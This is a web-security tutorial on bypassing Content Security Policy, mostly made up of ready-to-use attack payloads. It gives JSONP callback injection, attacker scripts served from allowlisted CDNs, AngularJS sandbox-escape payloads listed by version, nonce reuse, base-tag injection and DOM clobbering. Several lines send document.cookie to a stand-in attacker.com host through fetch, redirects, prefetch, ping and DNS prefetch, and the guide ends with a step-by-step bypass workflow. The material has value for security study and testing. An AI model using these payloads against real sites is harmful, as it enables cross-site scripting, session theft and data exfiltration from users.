Content Security Policy: How It Works
Content Security Policy is an HTTP response header that instructs the browser to restrict which resources can be loaded and executed on a web page. When properly configured, CSP prevents XSS by restricting script execution to explicitly trusted sources. However, CSP is notoriously difficult to configure correctly, and most real-world CSP policies contain bypasses.
# Common CSP directives:
Content-Security-Policy:
default-src 'self'; # fallback for unspecified directives
script-src 'self' cdn.example.com 'nonce-ABC123'; # JavaScript sources
style-src 'self' 'unsafe-inline'; # CSS sources
img-src *; # images from any source
connect-src 'self' api.example.com; # fetch/XHR destinations
frame-src 'none'; # no framing allowed
object-src 'none'; # no plugins (<object>, <embed>)
base-uri 'self'; # restrict <base> tag
report-uri /csp-violation; # report violations to this endpoint
# Analyzing a CSP policy:
curl -I https://target.com | grep -i content-security-policy
# Or extract from meta tag:
# <meta http-equiv="Content-Security-Policy" content="...">
CSP Evaluator — Identifying Weaknesses
# Google's CSP Evaluator: https://csp-evaluator.withgoogle.com/
# CLI version:
npm install -g csp_evaluator
csp_evaluator "script-src 'self' https://cdn.example.com;"
# Common CSP evaluation findings:
# 1. 'unsafe-inline' in script-src: allows inline scripts = CSP bypassed
# 2. 'unsafe-eval': allows eval() = reduces protection significantly
# 3. Wildcards: script-src *.example.com allows any subdomain
# 4. http:// domains: allows any script from that domain (MITM possible)
# 5. Overly broad: script-src *.google.com (JSONP on any Google domain)
# 6. Missing object-src 'none': Flash/plugin bypass
# 7. Missing base-uri: base tag injection
# Example weak CSP that appears strong:
Content-Security-Policy:
default-src 'none';
script-src 'self' https://www.google-analytics.com https://apis.google.com;
style-src 'self';
img-src *
# Problems:
# - apis.google.com has JSONP endpoints = bypass
# - google-analytics.com has JSONP-like endpoints = bypass
# - 'self' with file upload = can upload JS and include it
# Check CSP:
python3 -c "
import json, sys
# Parse CSP header value and check for common bypasses:
csp = \"script-src 'self' https://cdn.jsdelivr.net https://www.google-analytics.com\"
bypass_domains = {
'cdn.jsdelivr.net': 'JSONP endpoint and can serve arbitrary JS files',
'cdnjs.cloudflare.com': 'Can serve old vulnerable library versions',
'www.google-analytics.com': 'JSONP callback endpoint',
'apis.google.com': 'JSONP endpoints',
'accounts.google.com': 'JSONP endpoints for OAuth',
'ajax.googleapis.com': 'Angular 1.x which has sandbox escapes',
'code.jquery.com': 'Old jQuery with XSS vulnerabilities',
}
for domain, reason in bypass_domains.items():
if domain in csp:
print(f'[BYPASS] {domain}: {reason}')
"
JSONP Endpoint Abuse
JSONP (JSON with Padding) is a legacy technique for cross-origin data access that works by wrapping JSON data in a JavaScript function call. The function name is specified by the caller via a callback parameter. If a trusted domain in the CSP has a JSONP endpoint, an attacker can use it to load arbitrary JavaScript:
# JSONP endpoint on a trusted domain:
# Normally returns:
GET https://apis.google.com/callback?client_id=123&callback=myFunction
# Response: myFunction({"data": "..."});
# Attack: make the callback parameter our XSS payload:
GET https://apis.google.com/callback?client_id=123&callback=alert(document.cookie)//
# Response:
alert(document.cookie)//({"data": "..."});
# This is valid JavaScript! The // comments out the rest.
# Browser loads this as a script via the CSP-allowed domain
# XSS payload using JSONP bypass:
<script src="https://apis.google.com/callback?callback=alert(1)//"></script>
# CSP allows scripts from apis.google.com: ALLOWED
# Content: alert(1)//(original_jsonp) = alert(1) executed!
# More useful payload (exfiltrate cookies):
<script src="https://www.google-analytics.com/analytics.js?callback=fetch('https://attacker.com/?c='+document.cookie)//"></script>
# Finding JSONP endpoints on trusted domains:
# 1. Google dork:
site:apis.google.com inurl:callback=
site:accounts.google.com inurl:callback=
# 2. Use JSONP Hunter: tool that finds JSONP endpoints
# 3. Manual exploration of API documentation
# 4. Check WaybackMachine for old JSONP endpoints
# Common JSONP bypass endpoints:
# https://accounts.google.com/o/oauth2/auth?callback=PAYLOAD
# https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js (old jQuery with open redirect)
# https://www.youtube.com/oembed?url=x&callback=PAYLOAD
Trusted CDN Bypass — Serving Attacker JavaScript
Several common CDN domains allowed in CSP can be abused to serve attacker-controlled JavaScript files:
# cdn.jsdelivr.net — can serve ANY file from ANY public GitHub repo:
# URL pattern: https://cdn.jsdelivr.net/gh/{user}/{repo}@{version}/{file}
# Attack: create a GitHub repo with malicious JS:
# 1. Create github.com/attacker/csp-bypass containing evil.js:
# evil.js: document.location = 'https://attacker.com/?c=' + document.cookie;
# 2. Load via jsdelivr.net (which is in the CSP allowlist):
<script src="https://cdn.jsdelivr.net/gh/attacker/csp-bypass@main/evil.js"></script>
# CSP: script-src cdn.jsdelivr.net = ALLOWED
# Content: attacker's malicious JavaScript = XSS executed!
# cdnjs.cloudflare.com — serves old library versions with known XSS:
# Angular 1.x has sandbox escapes that are exploitable as CSTI
# If Angular 1.x from cdnjs is allowed:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.min.js"></script>
# Then use Angular CSTI to execute code:
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>
# unpkg.com — serves npm packages:
# Similar to jsdelivr: can serve any npm package file
# If npm package contains malicious code: attacker just needs to publish it
<script src="https://unpkg.com/[email protected]/dist/payload.js"></script>
# rawgit.com / raw.githubusercontent.com:
# raw.githubusercontent.com — serves raw files from GitHub
# If this is in CSP (common mistake), serve JS directly from GitHub
<script src="https://raw.githubusercontent.com/attacker/repo/main/evil.js"></script>
# Note: GitHub serves these with text/plain Content-Type in modern configs
# But script-src doesn't check Content-Type in older browser versions
AngularJS CSP Bypass via ng-app
When Angular 1.x is loaded from a CSP-allowed source (especially ajax.googleapis.com), Angular's template system can be abused to execute arbitrary JavaScript even with a strict script-src policy, because Angular's template evaluation happens in existing allowed scripts:
# AngularJS CSP bypass in a nutshell:
# CSP: script-src 'none'; but Angular is already included via CDN
# Angular evaluates {{expressions}} in the DOM
# Expression evaluation runs in the Angular sandbox (JavaScript context)
# Sandbox escapes allow arbitrary JS execution
# Condition for this bypass:
# 1. AngularJS 1.x is loaded (from CDN in CSP allowlist)
# 2. The page has <div ng-app> (or attacker can inject one)
# 3. Attacker can inject content into the ng-app div
# AngularJS CSP bypass payloads by version:
# v1.0.1 - v1.1.5 (ancient):
{{constructor.constructor('alert(1)')()}}
# v1.2.0 - v1.2.18:
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
# v1.2.19 - v1.2.23:
{{c=toString.constructor.prototype;c.toString=c.call;["a","alert(1)"].sort(c.constructor)}}
# v1.3.0 - v1.3.9:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=''.valueOf;$eval("x=alert(1)//")}}
# v1.3.14:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
# v1.4.0 - v1.4.9:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
# v1.5.9 - v1.5.11 (complex):
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
# v1.6.0+ (sandbox removed):
{{constructor.constructor('alert(document.domain)')()}}
# Finding Angular version to select correct exploit:
# Check HTML for: ng-version attribute, version comment, or inspect angular.version in console
# <html ng-version="1.4.6">
# Practical AngularJS CSP bypass in reflected XSS context:
# URL: https://target.com/search?q=%7B%7Bconstructor.constructor(%27alert(1)%27)()%7D%7D
# If page has <div ng-app>{{user_input}}</div> — payload executes
# Even with CSP: script-src 'self' because AngularJS is already loaded and trusted
unsafe-inline Bypass with Nonces
# A nonce-based CSP requires each inline script to have a matching nonce:
Content-Security-Policy: script-src 'nonce-RANDOM_NONCE_HERE'
# HTML:
<script nonce="RANDOM_NONCE_HERE">legit code</script>
# Attack: if nonce is predictable or leaked:
# 1. Predictable nonce (bad random): try common values or observe pattern
# 2. Nonce in Referer: if a page with the nonce links to an attacker-controlled URL
# 3. Nonce in URL: sometimes nonces appear in error messages or headers
# Nonce bypass via DOM clobbering:
# If nonce is read from a DOM element and can be clobbered:
<a id="nonce-holder" href="javascript:void(0)"></a>
# Then JavaScript: document.currentScript.nonce may be clobbered
# Nonce bypass via script injection with existing nonce:
# If you can inject HTML that includes the existing nonce (via attribute injection):
# <p class="x" nonce="STOLEN_NONCE"> — inject nonce into an innocent element
# Then: <script nonce="STOLEN_NONCE">alert(1)</script> — reuse the nonce!
# Note: browsers now prevent reading nonce from non-script elements
# Hash bypass:
# CSP: script-src 'sha256-BASE64_HASH'
# Only scripts whose SHA-256 matches are allowed
# Attack: if dynamic content changes the hash, old hash may still work
# More commonly: find scripts with useful functionality already allowed by hash
strict-dynamic Bypass
# strict-dynamic is used with nonces/hashes:
# script-src 'nonce-ABC' 'strict-dynamic'
# Meaning: scripts loaded by nonce-whitelisted scripts inherit trust
# (Their children can load scripts without explicit allowlisting)
# strict-dynamic IGNORES host-based allowlists in the same directive
# So: script-src 'nonce-ABC' 'strict-dynamic' *.example.com
# The *.example.com part is ignored!
# Bypass: if nonce-whitelisted script uses document.write() for script loading:
# The written scripts are trusted via strict-dynamic inheritance
# Target: find a CDN or tracking script that uses document.write() to load more scripts
# Inject into that first script's output via JSONP or open redirect on the nonce'd domain
# DOM clobbering attack on strict-dynamic:
# If the nonce-whitelisted script reads a config object to load scripts:
// main.js (has nonce):
const scriptConfig = window.scriptConfig || {url: '/default.js'};
const s = document.createElement('script');
s.src = scriptConfig.url; // clobber window.scriptConfig!
document.head.appendChild(s); // trusted via strict-dynamic
// Inject: <a id="scriptConfig" href="//attacker.com/evil.js"></a>
// Clobbers window.scriptConfig, causes attacker script to load under trusted context
base-uri Injection
# If CSP doesn't include base-uri 'none' or base-uri 'self':
# An attacker who can inject a <base> tag changes all relative URL resolution
# Vulnerable CSP (missing base-uri):
Content-Security-Policy: script-src 'nonce-ABCDEF' 'self'
# Injected:
<base href="https://attacker.com/">
# Now all relative URLs resolve to attacker.com:
<script nonce="ABCDEF" src="/static/app.js"></script>
# Resolves to: https://attacker.com/static/app.js = attacker's script!
# CSP allows it because the nonce matches and the script was loaded via relative URL
# Check for base-uri protection:
curl -I https://target.com | grep -i csp | grep -o "base-uri[^;]*"
# If empty or shows base-uri 'self' without single quotes: test injection
# Exploit:
# 1. Find HTML injection point (stored or reflected)
# 2. Inject: <base href="https://attacker.com/">
# 3. Set up attacker.com to serve all relative paths from the legitimate site
# (reverse proxy) EXCEPT specific paths where you serve malicious content
# 4. Observe which relative scripts the page loads, serve malicious versions
Bypassing CSP to Exfiltrate Data via report-uri
# If you can inject arbitrary HTML that triggers CSP violations:
# CSP violations are reported to the report-uri endpoint
# The violation report includes the blocked URL
# This can be used to exfiltrate data!
# Injected XSS payload that creates CSP violation reports as a data channel:
<script>
// Data to exfiltrate: document.cookie
const data = document.cookie;
// Encode in URL that will be blocked by CSP:
const img = document.createElement('img');
img.src = 'https://attacker.com/' + encodeURIComponent(data);
// CSP blocks this request (it's not in connect-src)
// But CSP violation report is sent to report-uri containing the blocked URL!
// Report includes: blocked-uri = https://attacker.com/SESSION_COOKIE_VALUE
</script>
# Even with strict-dynamic blocking scripts:
# <link> prefetch for data exfiltration:
<link rel="prefetch" href="https://attacker.com/?data=STOLEN_DATA">
# If prefetch-src is not restricted, or falls back to default-src
# Ping attribute:
<a href="/" ping="https://attacker.com/?data=STOLEN_DATA">click</a>
# DNS prefetch (may bypass connect-src):
<link rel="dns-prefetch" href="//STOLEN_DATA.attacker.com">
CSP Bypass Decision Tree
| CSP Feature | What to Check | Bypass Approach |
|---|---|---|
| 'unsafe-inline' | Present in script-src? | Direct inline XSS, no bypass needed |
| Host whitelist | Any CDN domains? | JSONP on trusted domain, or serve JS from CDN |
| angular.js allowed | Angular 1.x in allowlist? | AngularJS sandbox escape CSTI |
| Nonce-based | Nonce predictable or leaked? | Reuse leaked nonce, DOM clobbering |
| strict-dynamic | Nonce'd script uses dynamic loading? | DOM clobbering the config, script injection in trusted script output |
| base-uri missing | base-uri 'none'/'self' present? | base tag injection to redirect relative script loads |
| object-src missing | object-src 'none' present? | Flash/Java plugin for script execution (legacy) |
| self only | File upload to same origin? | Upload JS file, load as script from self |
# Complete bypass workflow:
# Step 1: Extract CSP
curl -s -I https://target.com | grep -i "content-security-policy"
# Step 2: Analyze with CSP Evaluator
# https://csp-evaluator.withgoogle.com/
# Step 3: Check for JSONP endpoints on trusted domains
for domain in $(echo "$CSP" | grep -oP "https?://[^\s;'\"]+"); do
# Search for JSONP endpoints:
curl -s "https://api.urlscan.io/v1/search/?q=domain:${domain#*://}%20filename:jsonp" \
| python3 -m json.tool | grep "url"
done
# Step 4: Test specific bypass
# If cdn.jsdelivr.net is allowed:
curl "https://target.com/vulnerable?xss="
# Step 5: Verify execution
# Set up listener on attacker.com
# Check for incoming requests indicating XSS triggered
Content Security Policy bypasses demonstrate a fundamental challenge in web security: defense-in-depth policies become ineffective when the "trusted" sources they whitelist introduce their own attack vectors. The proliferation of JSONP endpoints on major CDNs, the historical prevalence of AngularJS with its sandbox escapes, and the complexity of configuring CSP correctly mean that a significant percentage of deployed CSP policies can be bypassed with moderate research effort. The only robust CSP is one using nonces/hashes without host-based allowlists, with strict-dynamic, and with object-src and base-uri explicitly restricted.